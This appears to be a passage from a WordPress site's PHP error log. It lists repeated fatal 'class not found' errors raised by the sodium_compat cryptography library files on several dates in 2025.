  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 14:30:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 14:30:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 14:30:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 14:30:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 14:31:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 14:31:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:31:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:31:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:31:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:31:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 14:31:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 14:31:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 14:31:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 14:31:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 14:31:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 14:31:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 14:31:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 14:31:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 14:31:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 14:31:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 14:31:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 14:31:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 14:31:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 14:31:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 14:31:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 14:31:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 14:31:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 14:31:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 14:31:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 14:31:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 14:31:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 14:31:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 14:31:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 14:31:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 14:31:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 14:31:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 14:31:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[18-Jun-2025 16:54:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[18-Jun-2025 16:54:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[18-Jun-2025 16:54:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[18-Jun-2025 16:54:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[18-Jun-2025 16:54:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[18-Jun-2025 16:54:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[18-Jun-2025 16:54:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[18-Jun-2025 16:54:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[18-Jun-2025 16:54:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[18-Jun-2025 16:54:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[18-Jun-2025 16:54:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[18-Jun-2025 16:54:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[18-Jun-2025 16:54:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Jul-2025 09:08:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[19-Jul-2025 09:08:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[19-Jul-2025 09:08:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Jul-2025 09:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[19-Jul-2025 09:09:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[19-Jul-2025 09:09:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Jul-2025 09:09:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[19-Jul-2025 09:09:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[19-Jul-2025 09:09:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Jul-2025 09:09:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Jul-2025 09:09:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[19-Jul-2025 09:09:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[19-Jul-2025 09:09:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Aug-2025 06:10:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Aug-2025 06:10:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Aug-2025 06:11:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Aug-2025 06:11:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Aug-2025 06:11:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Aug-2025 06:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Aug-2025 06:11:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Aug-2025 06:11:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Aug-2025 06:11:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Aug-2025 06:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Aug-2025 06:11:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Aug-2025 06:11:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Aug-2025 06:11:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Aug-2025 06:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Aug-2025 06:11:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Aug-2025 06:11:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Aug-2025 06:11:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Aug-2025 06:12:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Aug-2025 06:12:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Aug-2025 06:12:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Aug-2025 06:12:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Aug-2025 06:12:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Aug-2025 06:12:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
